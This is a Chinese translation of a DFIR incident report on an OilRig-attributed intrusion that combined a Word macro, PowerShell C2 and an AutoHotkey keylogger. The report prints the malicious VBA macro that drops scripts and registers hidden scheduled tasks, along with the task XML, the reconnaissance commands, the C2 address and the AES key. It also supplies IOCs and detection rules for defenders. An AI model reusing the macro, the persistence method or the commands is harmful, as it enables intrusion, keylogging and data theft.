【DFIR报告翻译】窃取数据,睡觉,然后继续窃取数据
2023-2-14 10:33:0 Author: Desync InfoSec(查看原文) 阅读量:18 收藏

摘要

这篇入侵案例发生在2022年8月,起初我们发现攻击者通过投递包含恶意VBA宏的Word文档获取了一台主机权限。攻击者在失陷主机部署C2后门并进行权限维持。随后开始了一轮信息收集,包括网络扫描,用户枚举和使用AutoHotkey工具进行键盘记录。

AutoHotkey是一款开源的在Microsoft Windows操作系统下运行的脚本语言。它提供了基于键盘的自动化能力。据AutoHotKey官方文档记载,AHK脚本可以通过多种方式运行。在本次入侵案例中,攻击者使用了AutoHotkey.exe(被重命名成了module.exe)运行AHK脚本(名为module.ahk)。

技术总结

    这次入侵开始于一个包含恶意宏的Word文档,文档中的内容为Lumen公司的职位申请。在以往许多攻击组织包括朝鲜和伊朗政府组织都使用过这种话术进行钓鱼。一旦用户打开文件并启用宏后,恶意软件就开始运行了。恶意宏会创建一个VBS脚本(Updater.vbs)和两个PowerShell脚本(temp.ps1 和 Script.ps1)。并创建计划任务进行权限维持。进程注入完全通过PowerShell实现,这在如今的入侵阶段投递的工具中并不多见。

    开始执行宏之后,PowerShell脚本Script.ps1开始使用加密通信连接C2服务器。大约过了一天,C2服务器开始活动并通过PowerShell脚本temp.ps1传递指令。攻击者开始使用PowerShell内置命令和Windows内置命令执行一些信息收集工作(例如:whoami、net、time、tzutil、tracert)。攻击者还使用了PowerSploit框架中内置的Convert-LDAPProperty功能,枚举了所有的域用户数据并通过C2通道外传。

    在入侵开始的第四天,攻击者再次活跃起来,他们投递了一些用于键盘记录的文件,并创建计划任务让键盘记录后门周期运行。键盘记录器本身由一个可执行文件 module.exe 组成,它是重命名的 AutoHotkey 二进制文件。攻击者使用module.exe用于运行 AutoHotkey 脚本 module.ahk。此外,在同一个计划任务中还运行了名为 readKey.ps1 的 PowerShell 脚本。

    入侵开始的第六天,攻击者返回网络并收集键盘记录产生的数据,他们使用Windows自带的压缩工具makecab.exe将数据进行打包,通过C2通信将数据外传。之后,攻击者投递了另一个PowerShell脚本用于获取屏幕截图。获取到这些数据后,攻击者确认了防病毒软件服务的运行状态其他主机信息。

    攻击者在第七天和第九天继续收集了键盘记录数据。之后攻击者被驱逐出网络。

    值得关注的是,攻击者进行入侵时投递的工具完全使用PowerShell实现,没有可执行文件在失陷主机落地。在很长一段时间,这种无文件攻击是无法检测的。这与我们处理过的一些案例完全不同,以往的攻击组织都是通过投递类似Emotat、IcedID或Qbot等恶意软件进行入侵的。

    与常见的攻击入侵代理组织不同,使用定制化的恶意软件是针对目标组织的更有针对性的攻击。通过回放流量我们发现了C2通信的两个特征——ET MALWARE TA452 Related Backdoor Activity (GET)/(POST)。TA452是proofpoint追踪到的一个活跃的APT组织,命名为OilRig group。攻击组织类别与COBALT GYPSY, IRN2, APT34, and Helix Kitten一致。

    Oilrig被怀疑是由伊朗政府资助的黑客组织。这个组织以开发home grown和利用PowerShell 框架而闻名。最终,我们分析攻击者手动攻击的时间在周六和周四之间UTC时间凌晨3点到16点,而对应的德黑兰当地时间为早上6点30分到19点30分。结合这些因素,我们怀疑这次攻击是由伊朗APT组织Oilrig发起的。

TIMELINE
入侵时间线

入侵路径分析
01
入侵

在入侵开始时,攻击者投递了包含恶意代码的Word文档“Apply Form.docm”。文档内容为Lumen通信技术公司的职位申请表。

这个恶意文档最初由@StopMalvertisin发现并发布在推特上。到现在为止我们仍无法确认恶意文档的投递方式,根据以往的相关报告我们猜测这些文档通过鱼叉式钓鱼攻击投递(T1566),我们评估为中风险。

02
执行

当受害者启用宏之后,恶意VBA宏代码便开始执行。

首先我们使用olevba.py查看“Apply Form.docm”的静态信息,很快我们就能发现文档代码存在可疑的行为。

首先,宏代码会获取打开word文档的用户名,并在该用户的AppData目录下创建一个目录

Private Sub Document_Open()    Application.ScreenUpdating = False    Call Macro1    Dim Script, inp As String    inp = Google.meet.Text    pla = Google.chat.Text    uName = Environ("username")    Pathh = "C:\Users\" & uName & "\AppData\Local\Microsoft\Windows\Update\"    If Dir(Pathh) = "" Then        MkDir Pathh        Call Macro2    End I
随后恶意宏在“C:\Users\\AppData\Local\Microsoft\Windows\Update\”中创建了两个 PowerShell 脚本和一个 VBScript 文件
    Set FSO1 = CreateObject("Scripting.FileSystemObject")    SetAttr Pathh, vbHidden    Set FS1 = FSO1.CreateTextFile(Pathh & "Script.ps1", True)    ActiveDocument.Shapes.Range(Array("Text Box 19")).Select    Selection.WholeStory    FS1.WriteLine Selection.Text    FS1.Close    Set FSO3 = CreateObject("Scripting.FileSystemObject")    Set FS3 = FSO3.CreateTextFile(Pathh & "temp.ps1", True)    ActiveDocument.Shapes.Range(Array("Text Box 18")).Select    Selection.WholeStory    FS3.WriteLine Selection.Text    FS3.Close    inp = Replace(inp, "PATH", Pathh)    inp = EncodeBase65(inp)    inp = Replace(inp, "a", "@")    inp = Replace(inp, "H", "-")    inp = Replace(inp, "S", "$")    VBS = "xxx = """ & inp & """" & vbNewLine & pla    Set FSO2 = CreateObject("Scripting.FileSystemObject")    Set FS2 = FSO2.CreateTextFile(Pathh & "Updater.vbs", True)    FS2.WriteLine VBS    FS2.Close    PNGenerator    Application.ScreenUpdating = True    ActiveDocument.Shapes.Range(Array("Text Box 9")).SelectEnd Sub

通过Sysmon日志的文件创建日志(Event 11),我们可以观察到WINWORD.exe成功创建了这些文件。

之后,为了能持久运行脚本,恶意宏又新建了一个名为WindowsUpdate的计划任务。

Private Sub Document_Close()    Application.ScreenUpdating = False    uName = Environ("username")    Pathh = "C:\Users\" & uName & "\AppData\Local\Microsoft\Windows\Update\"    XML = Google.map.Text    XML = Replace(XML, "PATH", Pathh)    Set service = CreateObject("Schedule.Service")    Call service.Connect    Set rootFolder = service.GetFolder("\")    temp = rootFolder.RegisterTask("WindowsUpdate", XML, 6, , , 3)    Call Macro4End Sub

下面的XML数据是直接硬编码在VBA宏中的。

<?xml version="1.0" encoding="UTF-16"?><Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">  <RegistrationInfo>    <Description>This task is used to start the Windows Update service when needed to perform scheduled operations such as scans.</Description>    <URI>\WindowsUpdate</URI>  </RegistrationInfo>  <Triggers>    <TimeTrigger>      <Repetition>        <Interval>PT10M</Interval>        <StopAtDurationEnd>false</StopAtDurationEnd>      </Repetition>      <StartBoundary>2022-06-21T00:00:00</StartBoundary>      <Enabled>true</Enabled>      <RandomDelay>PT1M</RandomDelay>    </TimeTrigger>    <IdleTrigger>      <Enabled>true</Enabled>    </IdleTrigger>  </Triggers>  <Principals>    <Principal id="Author">      <LogonType>InteractiveToken</LogonType>      <RunLevel>LeastPrivilege</RunLevel>    </Principal>  </Principals>  <Settings>    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>    <AllowHardTerminate>true</AllowHardTerminate>    <StartWhenAvailable>true</StartWhenAvailable>    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>    <IdleSettings>      <StopOnIdleEnd>true</StopOnIdleEnd>      <RestartOnIdle>false</RestartOnIdle>    </IdleSettings>    <AllowStartOnDemand>true</AllowStartOnDemand>    <Enabled>true</Enabled>    <Hidden>true</Hidden>    <RunOnlyIfIdle>false</RunOnlyIfIdle>    <DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>    <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>    <WakeToRun>false</WakeToRun>    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>    <Priority>7</Priority>    <RestartOnFailure>      <Interval>PT1M</Interval>      <Count>3</Count>    </RestartOnFailure>  </Settings>  <Actions Context="Author">    <Exec>      <Command>wscript</Command>      <Arguments>"PATHUpdater.vbs"</Arguments>    </Exec>  </Actions></Task>
03
权限维持

大寒,

计划任务会首先执行PowerShell脚本Script.sp1。这个脚本会外联C2服务器并运行temp.ps1执行base64编码的命令。

Microsoft-Windows-TaskScheduler/Operational日志下Event 201日志记录了计划任务执行成功的记录。

该计划任务又通过命令行创建了另一个计划任务,名为MicrosoftEdgeUpdateTaskMachineUC。

这个计划任务是手动运行的。

C:\Windows\system32\schtasks.exe /run /tn MicrosoftEdgeUpdateTaskMachineUC
MicrosoftEdgeUpdateTaskMachineUC计划任务用于运行module.exe和PowerShell脚本readKey.ps1。这部分功能将在内网信息收集章节详细介绍。
<?xml version="1.0" encoding="UTF-16"?><Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">  <RegistrationInfo>    <Date>2022-08-04T11:52:03.8083191</Date>    <Author>Microsoft Inc.</Author>    <URI>\masdfm</URI>  </RegistrationInfo>  <Triggers>    <LogonTrigger>      <Enabled>true</Enabled>      <UserId>[REDACTED]</UserId>    </LogonTrigger>  </Triggers>  <Principals>    <Principal id="Author">      <UserId>[REDACTED]</UserId>      <LogonType>InteractiveToken</LogonType>      <RunLevel>LeastPrivilege</RunLevel>    </Principal>  </Principals>  <Settings>    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>    <AllowHardTerminate>true</AllowHardTerminate>    <StartWhenAvailable>false</StartWhenAvailable>    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>    <IdleSettings>      <StopOnIdleEnd>true</StopOnIdleEnd>      <RestartOnIdle>false</RestartOnIdle>    </IdleSettings>    <AllowStartOnDemand>true</AllowStartOnDemand>    <Enabled>true</Enabled>    <Hidden>false</Hidden>    <RunOnlyIfIdle>false</RunOnlyIfIdle>    <WakeToRun>false</WakeToRun>    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>    <Priority>7</Priority>  </Settings>  <Actions Context="Author">    <Exec>      <Command>"C:\Users\Public\module\module.exe"</Command>      <Arguments>"C:\Users\Public\module\module.ahk"</Arguments>    </Exec>    <Exec>      <Command>powershell</Command>      <Arguments>-ep bypass -windowstyle hidden -f "C:\Users\Public\module\readKey.ps1"</Arguments>    </Exec>  </Actions></Task>
04
防护绕过

攻击者使用的键盘记录器将收集到的数据进行异或编码再写入logFileuyovaqv.bin文件。

攻击者删除了内网探测时产生的多个文件。

Remove-Item "C:\Users\REDACTED\AppData\Local\Temp\logFileuyovaqv.cab"Remove-Item c:\users\public\u.zipRemove-Item c:\users\public\u.xml
05
内网扫描探测

攻击者通过temp.ps1文件执行了多个内网探测操作,传入的命令均通过base64编码。

在入侵期间,攻击者执行了如下内网探测命令:

列出磁盘信息:

"C:\Windows\System32\Wbem\WMIC.exe" logicaldisk

列出进程信息:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Get-Process

获取Windows Defender状态信息:

"C:\Windows\system32\cmd.exe" /c sc query WinDefend

获取失陷主机当前时间:

"C:\Windows\system32\cmd.exe" /c time

获取失陷主机当前时区:

"C:\Windows\system32\cmd.exe" /c tzutil /g

使用tracert探测网络结构:

"C:\Windows\system32\cmd.exe" /c tracert 8.8.8.8

枚举本地用户:

"C:\Windows\system32\net.exe" accounts

获取当前用户信息:

"C:\Windows\system32\whoami.exe" /all

枚举敏感文件:

get-childitem "C:\Program Files" | out-stringget-childitem "C:\Program Files (x86)" | out-stringget-childitem "C:\users" | out-stringGet-ChildItem "C:\users\$env:username\desktop\" | out-stringGet-ChildItem "C:\users\$env:username\downloads\" | out-stringGet-ChildItem "C:\users\$env:username\documents\" | out-stringGet-ChildItem $env:LOCALAPPDATA | out-stringget-childitem "C:\Program Files" | out-stringget-childitem C:\ | out-stringget-childitem C:\users\%username%\downloads | out-stringget-childitem C:\Users\%username%\AppData\Local\Microsoft\Edge\User Data\Default | out-stringget-childitem C:\Users\$env:username\AppData\Local\Microsoft\Edge\User Data\Default | out-string

使用从PowerSploit框架中提取出的PowerShell脚本Convert-LDAPProperty收集域用户信息:

查询AD域和SAM账户名:

$s = new-object -typename system.directoryservices.directorysearcher$s.PageSize = 999999999$s.Filter = '(&(objectclass=computer))'$s.findall() | % {$_.properties.samaccountname; $_.properties.operatingsystem}

获取计算机和网络配置信息:

Get-ComputerInfo | out-stringGet-NetTCPConnection | out-stringGet-NetIPConfiguration -All | Out-String

获取失陷主机当前登录用户信息:

Get-WmiObject –ComputerName [REDACTED] –Class Win32_ComputerSystem | Select-Object UserName

获取失陷主机中防病毒软件状态:

Get-MpComputerStatus

列举环境变量:

ls $env:tempget-childitem $env:temp | out-string

获取公网出口IP地址:

Invoke-WebRequest -UseBasicParsing -Uri http://ident.me | out-string
06
内网信息收集

攻击者将从LDAP目录服务中获取到的数据存放在XML文件中:

Compress-Archive -Path c:\users\public\u.xml -DestinationPath c:\users\public\u.zip -CompressionLevel Optimal

并通过连接C2服务器的脚本temp.ps1下载了另一个PowerShell脚本sc.ps1:

sc.ps1脚本用于屏幕截图,并将结果保存为sc.png文件。

攻击者创建了名为MicrosoftEdgeUpdateTaskMachineUC的计划任务,用于执行键盘记录器module.exe,加载module.ahk脚本和readKey.ps1脚本。t.xml文件包含了这个计划任务的信息:

可执行文件 module.exe 是 AutoHotkey 的重命名二进制文件。用于执行 AutoHotkey (AHK) 脚本。

实际运行的键盘记录器就是module.ahk脚本:

在AHK脚本中,我们发现了获取当前键盘布局和记录键盘按键的功能代码,并且发现一个名为UpdateReg的函数,这个函数接收一个文本参数,并将记录到的键盘操作存放在指定注册表键值下:

readkey.ps1 文件从注册表KeypressValue项中获取键盘记录,对数据进行异或,并将结果保存到日志 (logFileuyovaqv.bin) 文件中。

最后攻击者将收集到的数据进行cab打包,并进行外传。

makecab "C:\Users\<REDACTED>\AppData\Local\Temp\logFileuyovaqv.bin" C:\Users\<REDACTED>\AppData\Local\Temp\logFileuyovaqv.cab
07
远程控制

入侵过程中的C2通信是通过执行Script.sp1和temp.ps1脚本建立的,C2通信使用AES-CBC加密,密钥和IV值如下:

Key

17 1d 84 e8 41 ae e4 c0 ff fb a2 7c 86 d1 ec 82 b8 80 7c b8 c3 79 9a 11 b8 fa 2d b7 78 1f d1 5a

IV

18 3c ed 6f b3 34 9f 9a c6 f9 08 f9 29 de 35 52

与C2的通信((hxxp[:]//45[.]89[.]125[.]189/get))从第一天开始,并以10分钟/次的频率进行连接。在第二天开始,所有的请求都返回502 Bad Gateway响应。

第一个完整的C2通信过程:

PowerShell脚本AES加密命令样例:

[email protected]#EWQ654[email protected]#EWQpowershell -command Get-Process^%$RTY:

SafeBreach发布了与之类似的C2基础设施研究,可以阅读这篇文章https://www.safebreach.com/resources/blog/safebreach-labs-researchers-uncover-new-fully-undetectable-powershell-backdoor/

08
窃取数据

攻击者在内网信息收集阶段获取到的数据,均通过C2通信泄漏到了网络外。

09
达成目标

在入侵期间,未发现除收集网络信息和键盘记录外的其他攻击目的。

IoCs
🌟🌟🌟🌟🌟
 网络侧 

45.89.125.189

http://45.89.125[.]189/get

http://45.89.125[.]189/put

 主机侧 

t.xml

691332c86dd568f87b7fff4601c37895

0b676ea2ad205b70b9feb1eedbfdec72137e08e5

7ae52c0562755f909d5d79c81bb99ee2403f2c2ee4d53fd1ba7692c8053a63f6

readkey.ps1

fc5f490dbe375779b2c6bbccdd869ca6

b8c8171b6e8efd2bb0ae8d5b22749564edd38109

eb2a94ee29d902c8a13571ea472c80f05cfab8ba4ef80d92e333372f4c7191f4

module.exe

9a7d5f126904adc194df4dcbc2c5715c

a86088cf31c72cc4648ee8dfa082979a74044203

b92be3d086372fc89b3466e8d9707de78a5b6dff3e4a2eecc92c01d55a86fd7d

module.ahk

c65b10c1113c0f0d4e06609fa60d9aad

2ca263fc5f1e505c1839ab0abf56571af6c7809d

e4b2411286d32e6c6d3d7abffc70d296c814e837ef14f096c829bf07edd45180

Apply_Form.docm

f769f67681707e8f69ecdf9e62fb944c

c5f6a48fa52a279e1f3424b97662b479716229af

45f293b1b5a4aaec48ac943696302bac9c893867f1fc282e85ed8341dd2f0f50

sc.ps1

34a2677a7776f87e810814c2d3845f47

79b1f6b0afe943a60560eb20677d5b801dc29ba3

ac933ffc337d13b276e6034d26cdec836f03d90cb6ac7af6e11c045eeae8cc05

logFileuyovaqv.bin

f7611e77c5f99b81085e61b17b969afe

475320a5bf0ba52fc9ff711d8e6dba512b3fefbf

d4857156094963c8e38f6e88f4d72cb910aa537e3811eae0579f7abc568c9ae8

Updater.vbs

850b8d07180601417193a6f88227130a

e1f4a8e434638c56b7a0d2d0317f4d0d84987a40

be0e75d50565506baa1ce24301b702989ebe244b3a1d248ee5ea499ba812d698

temp.ps1

c3aedb781a5b96674764cd43ef076d10

86da0100bb6a07a89eaa4dc3ec220e9dbd6ecf71

16007ea6ae7ce797451baec2132e30564a29ee0bf8a8f05828ad2289b3690f55

Script.ps1

a3c14604fb4454ba5722f07f89780e73

ed7b9ddbaee794cecb80fac794b0e6cb0ae073b5

bda4484bb6325dfccaa464c2007a8f20130f0cf359a7f79e14feeab3f

 IDS规则 

ET MALWARE TA452 Related Backdoor Activity (POST)

ET MALWARE TA452 Related Backdoor Activity (GET)

ET INFO Windows Powershell User-Agent Usage

 Sigma规则 

https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_renamed_autohotkey_binary.yml

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml

https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_ps_appdata.yml

 Yara规则 

https://github.com/The-DFIR-Report/Yara-Rules/blob/main/17333/17333.yar

 ATT&CK映射 

PowerShell – T1059.001

Malicious File – T1204.002

Domain Account – T1087.002

System Information Discovery – T1082

Process Discovery – T1057

System Owner/User Discovery – T1033

System Network Connections Discovery – T1049

Scheduled Task/Job – T1053

Screen Capture – T1113

Keylogging – T1056.001

Symmetric Cryptography – T1573.001

Archive via Utility – T1560.001

Security Software Discovery – T1518.001

File and Directory Discovery – T1083

System Time Discovery – T1124

System Service Discovery – T1007

Modify Registry – T1112 


文章来源: http://mp.weixin.qq.com/s?__biz=MzkzMDE3ODc1Mw==&mid=2247485520&idx=1&sn=6fc4ba652cb183e8449bcac195c47e3f&chksm=c27f7bfef508f2e85ac6c55aa55db6b9c40e69cb8a354132825763cf586e85f01df48e724698#rd
如有侵权请联系:admin#unsafe.sh